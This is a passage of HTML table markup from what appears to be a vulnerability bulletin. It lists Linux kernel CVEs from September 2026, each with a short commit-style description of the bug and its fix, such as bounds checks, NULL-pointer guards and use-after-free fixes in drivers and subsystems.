rewind.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97492&quot; target=&quot;_blank&quot;&gt;CVE-2026-97492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Bound GPIO I2C table entry count from VBIOS Reject undersized tables and cap the derived entry count to AMDGPU_MAX_I2C_BUS so we do not overrun adev-&amp;gt;i2c_bus[] or walk an absurd number of entries on corrupt size fields.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97493&quot; target=&quot;_blank&quot;&gt;CVE-2026-97493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: validate and share PSP fw_pri_buf copies via psp_copy_fw Change psp_copy_fw from void to int: return -ENODEV when drm_dev_enter fails, and -EINVAL when the image size is zero or larger than the 1 MiB PSP private buffer. Replace open-coded memset/memcpy into fw_pri_buf with psp_copy_fw.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97494&quot; target=&quot;_blank&quot;&gt;CVE-2026-97494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Check bounds on allocate_doorbell allocated_doorbell has an option to set the doorbell id to a specific value (used by CRIU). This value was not bounds checked. Check to confirm it&#039;s less than KFD_MAX_NUM_OF_QUEUES_PER_PROCESS.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97495&quot; target=&quot;_blank&quot;&gt;CVE-2026-97495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/userq: pin mqd and fw object bo to avoid eviction mqd and fw objects are queue core objects which should remain valid and never be unmapped and evicted for user queues to work properly. During eviction if these buffers are evicted the hw continue to use the invalid addresses and caused page faults and system hung.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97498&quot; target=&quot;_blank&quot;&gt;CVE-2026-97498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: coresight: perf: Retrieve path and source from event data ETM perf callbacks currently use the per-CPU csdev_src pointer, which can race with updates during device registration and unregistration. The AUX setup already builds and stores the path in the event data. Use this path to retrieve the source instead of csdev_src to avoid the race. Export coresight_get_source() and add etm_event_get_ctxt_path() to retrieve the context&#039;s path and its source with READ_ONCE() / WRITE_ONCE() accessors. Give the comments to explain why this approach is safe when pause or resume callbacks preempt the disable callback (e.g. via NMI).&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97499&quot; target=&quot;_blank&quot;&gt;CVE-2026-97499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: phy: check length before parsing PHY status IE Hardware might report PHY status IE with unexpected length, and parser might access out of range. Check the length ahead.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97500&quot; target=&quot;_blank&quot;&gt;CVE-2026-97500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: mediatek: paris: bypass pinctrl GPIO layer in set GPIO direction pinctrl_gpio_direction_input() / pinctrl_gpio_direction_output() take the pinctrl mutex. This causes a gpiochip operations to need to sleep. Worse yet, the .can_sleep field in the gpiochip is not set. This causes the shared GPIO proxy to trip over, as it uses gpiod_cansleep() to check whether it can use a spinlock or needs a mutex. In this case, it ends up taking a spinlock, then calls pinctrl_gpio_direction_output(), which takes a mutex. This causes a huge warning. While this class of Mediatek hardware does not have separate clear/set registers, the pinctrl context has a spinlock that is taken whenever a register read-modify-write is done. Also, once the GPIO function is selected / muxed in, further GPIO operations do not involve pinctrl operations or state. The GPIO direction and level values do not require toggling the pinmux or any other pin config options. Switch to directly calling mtk_pinmux_gpio_set_direction() in the GPIO set direction callbacks to avoid taking the pinctrl mutex. Drop the .gpio_set_direction field in mtk_pmxops to signal we are no longer using the pinctrl GPIO layer for setting the direction.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97501&quot; target=&quot;_blank&quot;&gt;CVE-2026-97501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mmc: davinci: avoid NULL deref of host-&amp;gt;data in IRQ handler mmc_davinci_irq() returns early only when both host-&amp;gt;cmd and host-&amp;gt;data are NULL: if (host-&amp;gt;cmd == NULL &amp;amp;&amp;amp; host-&amp;gt;data == NULL) { ... return IRQ_NONE; } So we may legitimately reach the rest of the handler with host-&amp;gt;data == NULL (and therefore data == NULL). The DATDNE branch already guards against this with an explicit &quot;if (data != NULL)&quot; check, but the subsequent TOUTRD (&quot;read data timeout&quot;) and CRCWR/CRCRD (&quot;data CRC error&quot;) branches dereference data unconditionally: if (qstatus &amp;amp; MMCST0_TOUTRD) { data-&amp;gt;error = -ETIMEDOUT; &amp;lt;-- NULL deref ... davinci_abort_data(host, data); } if (qstatus &amp;amp; (MMCST0_CRCWR | MMCST0_CRCRD)) { data-&amp;gt;error = -EILSEQ; &amp;lt;-- NULL deref ... } If either bit is set in qstatus while host-&amp;gt;data is NULL, the kernel will crash inside the IRQ handler. smatch flags this: drivers/mmc/host/davinci_mmc.c:933 mmc_davinci_irq() error: we previously assumed &#039;data&#039; could be null (see line 914) Gate both branches on a non-NULL data, matching the existing pattern used by the DATDNE branch. No functional change for callers where data is non-NULL, which is the only case in which these branches did meaningful work before this change.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97502&quot; target=&quot;_blank&quot;&gt;CVE-2026-97502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: genirq/proc: Size interrupt directory names for 10-digit interrupt numbers /proc/irq/&amp;lt;n&amp;gt;/ directory names are built in `char name[10]` buffers with `sprintf(name, &quot;%u&quot;, irq)`. Ten-digit IRQ numbers already need 11 bytes including the trailing NUL, and current sparse-IRQ configurations allow interrupt numbers in that range. Size the temporary name buffer for the current decimal form and switch to bounded formatting when creating or removing the proc entry.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97503&quot; target=&quot;_blank&quot;&gt;CVE-2026-97503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: watchdog: lenovo_se10_wdt: Fix use-after-free and resource leak risk Review by sashiko.dev highlighted potential use after free and resource leak instances. Set se10_pdev to null to prevent use after free Remove DMI call back and instead directly call se10_create_platform_device. Handle error cases appropriately&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97504&quot; target=&quot;_blank&quot;&gt;CVE-2026-97504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI/sysfs: Add CAP_SYS_ADMIN check to __resource_resize_store() Currently, the __resource_resize_store() allows writing to the resourceN_resize sysfs attribute to change a BAR&#039;s size without checking for capabilities, currently relying only on the file access check. Resizing a BAR modifies PCI device configuration and can disrupt active drivers. After the upcoming conversion to static attributes, it will also trigger resource file updates via sysfs_update_groups(). Add a CAP_SYS_ADMIN check to prevent unprivileged users from performing BAR resize operations.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97505&quot; target=&quot;_blank&quot;&gt;CVE-2026-97505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: ixp4xx - fix buffer chain unwind on allocation failure chainup_buffers() builds a linked list of buffer descriptors for a scatterlist. If dma_pool_alloc() fails while constructing the list, the current code sets buf to NULL and later dereferences it unconditionally at the end of the function: buf-&amp;gt;next = NULL; buf-&amp;gt;phys_next = 0; This can lead to a null-pointer dereference on allocation failure. If the failure happens after part of the descriptor chain has already been allocated and DMA-mapped, the partially constructed chain also needs to be released. Fix this by terminating the partially constructed chain on allocation failure and letting the callers unwind it via their existing cleanup paths. Also fix ablk_perform() to preserve the hook pointers before checking for failure, so partially built chains can be freed correctly.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97506&quot; target=&quot;_blank&quot;&gt;CVE-2026-97506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: dm1105: fix missing error check for dma_alloc_coherent The return value of dm1105_dma_map(), which handles DMA memory allocation, is ignored in dm1105_hw_init(). If dma_alloc_coherent() fails, the driver will proceed using a NULL pointer for DMA transfers, leading to a kernel oops or invalid hardware access. Fix this by checking the return value and propagating -ENOMEM on failure.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97507&quot; target=&quot;_blank&quot;&gt;CVE-2026-97507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: thunderbolt: Release request if tb_cfg_request() fails in __tb_xdomain_response() If tb_cfg_request() fails setting up the request (for example the control channel is shut down already) it returns an error without calling the callback. To avoid leaking that memory, call tb_cfg_request_put() if tb_cfg_request() fails.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97510&quot; target=&quot;_blank&quot;&gt;CVE-2026-97510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: avoid out-of-bounds access in monitor In NAN, we don&#039;t know on what band the frame will be sent. Therefore we set info-&amp;gt;band to NUM_NL80211_BANDS. However, this leads to out-of-bound access in ieee80211_add_tx_radiotap_header when we try to access the sbands array. Fix it by not accessing the array if the band is NUM_NL80211_BANDS. This means that we will not report rate info for legacy rate in NAN. But nobody really cares about it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97511&quot; target=&quot;_blank&quot;&gt;CVE-2026-97511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: spi-qcom-qspi: Fix incomplete error handling in runtime PM The runtime PM functions had incomplete error handling that could leave the system in an inconsistent state. If any operation failed midway through suspend or resume, some resources would be left in the wrong state while others were already changed, leading to potential clock/power imbalances. Reorder the suspend/resume sequences to avoid brownout risk by ensuring the performance state is set appropriately before clocks are enabled and clocks are disabled before dropping the performance state. Fix by adding proper error checking for all operations and using goto-based cleanup to ensure all successfully acquired resources are properly released on any error.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97512&quot; target=&quot;_blank&quot;&gt;CVE-2026-97512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Fix Reports from Kernel Lock Validator handle_dynamic_resolution change requires that the state_lock be acquired based on the lockdep_assert_held. However, the handle_dynamic_resolution_change call in initialize_sequence does not properly obtain the lock before calling. Since the v4l2_ctrl_find and s_ctrl can sleep, they should not be called while a lock is already held. Store off the fbc_buf_count then properly update control once lock has been freed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97514&quot; target=&quot;_blank&quot;&gt;CVE-2026-97514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: svc: Prevent IRQ storm from false SLVSTART on NPCM845 On NPCM845, when a target on the I3C bus gets stuck holding SDA low, the controller reports a false Master Request (MR) in-band interrupt event. The driver handles this by emitting a STOP condition to restore the bus. However, the hardware quirk SVC_I3C_QUIRK_FALSE_SLVSTART indicates that emitting a STOP condition may spuriously set the SLVSTART interrupt status bit. In the Master Request case, this creates a feedback loop: the STOP triggers a new SLVSTART event, the IRQ handler fires again, the controller still reports an MR type, another STOP is emitted, and the cycle repeats indefinitely, resulting in an IRQ storm that can lock up the CPU. Clear the SLVSTART status bit explicitly after emitting the STOP in the Master Request IBI handler when the SVC_I3C_QUIRK_FALSE_SLVSTART quirk is set. This breaks the feedback loop without affecting normal SLVSTART processing, which is already guarded in the top-level IRQ handler by checking that MSTATUS is in SLVREQ state.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97515&quot; target=&quot;_blank&quot;&gt;CVE-2026-97515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: Add NULL check for chip-&amp;gt;edcca_th in rtw_fw_adaptivity_result() It was recently reported that rtw_fw_adaptivity_result() in fw.c dereferences rtwdev-&amp;gt;chip-&amp;gt;edcca_th without a NULL check. The issue is that devices with the 8821CE chip don&#039;t define edcca_th in their chip info. As a result, when rtw_fw_adaptivity_result() tries to dereference it, the kernel triggers an oops. Add a NULL check for edcca_th before dereferencing it in rtw_fw_adaptivity_result() in fw.c. Placing the check at the function entry avoids logging any garbage values. This change does not address the root cause for this behavior, but it prevents the NULL dereference and the resulting oops while a more permanent solution is developed. Tested on a 8822CE chip which defines edcca_th, so this issue is not present on it, but it still uses this driver and I can verify there are no regressions.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97516&quot; target=&quot;_blank&quot;&gt;CVE-2026-97516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: nl80211: reject beacons with bad HE operation The HE operation element not only needs to be longer than the fixed part, but also have an appropriate size for the variable part inside of it. Check this.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97517&quot; target=&quot;_blank&quot;&gt;CVE-2026-97517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: reject duplicate wiphy cipher suite entries Duplicate entries in wiphy-&amp;gt;cipher_suites do not describe any additional capability, but cfg80211 currently accepts them and leaves individual consumers to deal with them. One such consumer is the WEXT compatibility code, which appends a WEP key length for each WEP cipher entry it sees. Repeated WEP entries can therefore overflow the fixed iw_range::encoding_size array returned by SIOCGIWRANGE. Reject duplicate cipher suite entries in wiphy_register() instead. This keeps the cipher suite invariant in one place and makes malformed wiphy descriptions fail early with -EINVAL, rather than relying on a single cfg80211 user to handle duplicates correctly.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97518&quot; target=&quot;_blank&quot;&gt;CVE-2026-97518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix null pointer dereference in devcoredump cleanup In xe_devcoredump_snapshot_free(), ss-&amp;gt;gt may be NULL when the snapshot was never fully populated (e.g., when cleanup is triggered without a prior capture). Guard the xe_guc_capture_put_matched_nodes() call with IS_ERR_OR_NULL() to prevent a null dereference. In xe_devcoredump_free(), the deferred work is only queued when a coredump is captured, so guard cancel_work_sync() with a check on coredump-&amp;gt;captured.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97519&quot; target=&quot;_blank&quot;&gt;CVE-2026-97519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: gfs2: fix quota init duplicate scan gfs2_quota_init() checks for duplicate quota_change IDs while holding qd_lock and the quota hash bucket bitlock. That path used gfs2_qd_search_bucket(), which takes a lockref reference via lockref_get_not_dead(). On PREEMPT_RT this may sleep, which is not allowed under the bucket bitlock, triggering &quot;sleeping function called from invalid context&quot;. Use a no-ref bucket lookup in this path, then continue duplicate handling without taking a lockref there. Refactor gfs2_qd_search_bucket() to build on top of the no-ref helper so lookup traversal stays in one place. This patch fixes a bug reported by syzbot.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97521&quot; target=&quot;_blank&quot;&gt;CVE-2026-97521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mptcp: fix bad accounting in __mptcp_subflow_push_pending() If __subflow_push_pending() errors out we should avoid updating the copied byte counters, to avoid mismatch push call later on.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97522&quot; target=&quot;_blank&quot;&gt;CVE-2026-97522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/pai: Support CPU hotplug for PMU PAI The command &#039;perf stat -e pai_crypto/CRYPTO_ALL/ -- &amp;lt;command&amp;gt;&#039; crashes the kernel when CPUs are hotplug added during that run. Root cause is the missing allocation of per-CPU data structures for that new CPU. The allocation is dynamic and the first event that has task context creates such a structure for each online CPU. This is not sufficient. CPUs may be offline during event creation and can be set online during the perf run time. For example commands # echo 0 &amp;gt; /sys/devices/system/cpu/cpu1/online # perf stat -e cycles -i -- stress-ng -t10s --matrix X # sleep 1 # echo 1 &amp;gt; /sys/devices/system/cpu/cpu1/online Currently without a CPU hotplug handler, that new CPU has no per-CPU data infrastructure. The scheduler runs PMU call back function pai_add() to install the PMU support for that CPU before the task is being scheduled on that new CPU. In pai_add() instructions mp = this_cpu_ptr(pai_root[idx].mapptr); cpump = mp-&amp;gt;mapptr; return a NULL pointer and the result is a kernel panic as variable cpump is used inside that function. Add CPU hotplug support for CPU add and delete and create the necessary per-CPU data infrastructure during CPU hotplug add processing. Same for CPU hotplug remove. This is done when the CPU is offline to ensure the data structures are available when CPU is made online and tasks are scheduled on it. [hca@linux.ibm.com: fixup error path in pai_init()]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97526&quot; target=&quot;_blank&quot;&gt;CVE-2026-97526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Validate BSG request_len before reading vendor_cmd[] The FC BSG transport allocates job-&amp;gt;request via memdup_user() using the exact user-supplied request_len. For FC_BSG_HST_VENDOR, fc_bsg_host_dispatch() only guarantees request_len covers msgcode and vendor_id; it does not account for the vendor_cmd[] flexible array. qla2xxx then reads the command selector vendor_cmd[0] and, in several sub-handlers, vendor_cmd[1]/[2] or structures overlaid on the vendor command area without verifying request_len. A caller holding CAP_SYS_RAWIO can submit a short request whose vendor_id matches the host, triggering out-of-bounds heap reads (KASAN-detectable, and able to mis-select a command or panic). Add a central guard in qla2x00_process_vendor_specific() so the selector is always in bounds, restrict the early vendor_cmd[0] read in qla24xx_bsg_request() to sufficiently long vendor messages, and add request_len checks to the sub-handlers that read further: qla24xx_proc_fcp_prio_cfg_cmd(), qla2x00_process_loopback(), qla84xx_reset(), qla84xx_updatefw(), qla2x00_read_optrom(), qla2x00_update_optrom(), qlafx00_mgmt_cmd() and qla28xx_validate_flash_image().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97529&quot; target=&quot;_blank&quot;&gt;CVE-2026-97529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix soft lockup polling continuation IOCB signature qla27xx_copy_multiple_pkt() and qla27xx_copy_fpin_pkt() poll rsp_q-&amp;gt;ring_ptr-&amp;gt;signature for RESPONSE_PROCESSED (0xDEADDEAD) to decide whether the next continuation IOCB has arrived, spinning on cpu_relax() without advancing the ring or decrementing the entry count while it has not. response_t::signature lives at byte offset 60, but a continuation IOCB (sts_cont_entry_t / struct sts_cont_entry_ext) carries raw FC frame payload at that offset (data[56..59]). A received frame whose payload bytes happen to equal 0xDEADDEAD is therefore misread as &quot;not yet arrived&quot;, and the loop spins forever in interrupt/DPC context, causing a CPU soft lockup. The poll is also unnecessary: callers of qla27xx_copy_multiple_pkt() (PT_LS4_UNSOL and the NVMe purls path) already gate on qla_chk_cont_iocb_avail(), which guarantees all entry_count IOCBs are present before copying begins. The sibling helper __qla_copy_purex_to_buffer() already drops the signature poll and relies on the entry_type == STATUS_CONT_TYPE guard instead. Remove the signature busy-wait from both helpers, keeping the entry_type guard, and gate the FPIN path with qla_chk_cont_iocb_avail() so it defers and re-processes on the next interrupt once all continuation IOCBs have arrived, mirroring the ELS_AUTH_ELS and PT_LS4_UNSOL arms. With this the signature field is never read on a continuation IOCB, eliminating the payload-aliasing lockup.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97530&quot; target=&quot;_blank&quot;&gt;CVE-2026-97530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Null out freed pointers in qla2x00_mem_alloc() error path When qla2x00_mem_alloc() fails, qla2x00_probe_one() jumps to probe_hw_failed and calls qla2x00_mem_free(). Several error labels in qla2x00_mem_alloc() freed adapter members (elsrej.c, purex_dma_pool, flt, sfp_data, loop_id_map, async_pd, sf_init_cb, ex_init_cb, npiv_info) but left the pointers dangling. qla2x00_mem_free() then freed them a second time. Worse, for the dma_pool members it issued dma_pool_free(ha-&amp;gt;s_dma_pool, ...) after s_dma_pool had already been destroyed and set to NULL at fail_s_dma_pool, dereferencing a NULL pool. Clear each freed pointer (and its DMA handle) in the error labels so the subsequent qla2x00_mem_free() skips them.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97532&quot; target=&quot;_blank&quot;&gt;CVE-2026-97532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Acquire init_mm read lock on attribute changes to avoid UAF A previous commit protected against races between ptdump and CPA collapse, however one still exists between attribute changes and collapse as reported by Denis V. Lunev (linked). When an attribute change arises, a lockless page table walker obtains a PTE entry, which is later written to via set_pte_atomic(): ... -&amp;gt; change_page_attr_set_clr() -&amp;gt; __change_page_attr_set_clr() -&amp;gt; __change_page_attr() -&amp;gt; _lookup_address_cpa() -&amp;gt; lookup_address_in_pgd_attr() -&amp;gt; [ lockless page table walker ] -&amp;gt; set_pte_atomic() There is nothing preventing a concurrent CPA collapse which can free the PTE that was retrieved here, resulting in a use-after-free. With the mmap write lock taken on init_mm over CPA collapse, resolve this race by acquiring an mmap read lock on init_mm over __change_page_attr_set_clr(). This locks across the whole operation over which the walk and the PTE entry write occurs, solving the race. It is safe to do this here, as no 